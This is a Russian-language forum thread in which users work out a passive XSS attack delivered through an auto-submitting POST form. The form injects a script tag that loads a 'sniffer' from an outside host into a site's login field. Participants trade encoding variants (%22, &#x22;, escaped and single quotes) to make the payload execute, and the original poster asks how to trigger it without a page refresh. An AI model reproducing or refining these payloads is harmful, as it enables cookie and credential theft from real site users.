Пасивная Xss через Post

[Student :)]

Привет всем со старым НГ!!
вот вопрос
<form name="authForm" id="authForm" method="post" action="http://site.ru/login.php">
<input type="hidden" name="Login" value=""><script src="http://site2.ru/snifer.php"></script>">
<input type="hidden" name="securityCode" value="0000">
<input type="hidden" name="Submit.x" value="67">
<input type="hidden" name="Submit.y" value="16">
<script language="JavaScript" type="text/javascript">document.authForm.submit();</script>
</form>

ответ есть но не срабатывает "><script src="http://site2.ru/snifer.php">
нужно обновить страницу тогда работает

может както подругому зделать?

[bul.666]

value=""><script src="http://site2.ru/snifer.php"></script>">

Попробуй вместо " поставить %22

[Student :)]

а как быть?

просто в качестве логина надо сылку вида "><script src="http://site2.ru/snifer.php">

[bul.666]

%22><script src=http://site2.ru/snifer.php></script>
Попробуй так

[Student :)]

так не работает

[Student :)]

в поле логин %22><script src=http://site2.ru/snifer.php></script>

[Student :)]

так работает &#x22;><script src=http://site2.ru/snifer.php></script>!!!

но надо обновить страницу чтоб выполнился <script src=http://site2.ru/snifer.php></script>

[bul.666]

Ой торможу =)
value='"><script src=http://site2.ru/snifer.php></script>'>

[Student :)]

Помогите решить с меня +

[Isis]

Юзай FireBug в фф, там нажать применить и обновишь страницу, все ок будет

[Macro]

Мда..... Просто поставь слеши перед кавычками внутри кавычек value

<input type="hidden" name="Login" value="\"><script src=\"http://site2.ru/snifer.php\"></script>">


Либо двойные кавычки в value замени на одинарные


<input type="hidden" name="Login" value='"><script src="http://site2.ru/snifer.php"></script>'>

[Student :)]

это работает спасибо но как обновить страницу полученную Пост запросом ?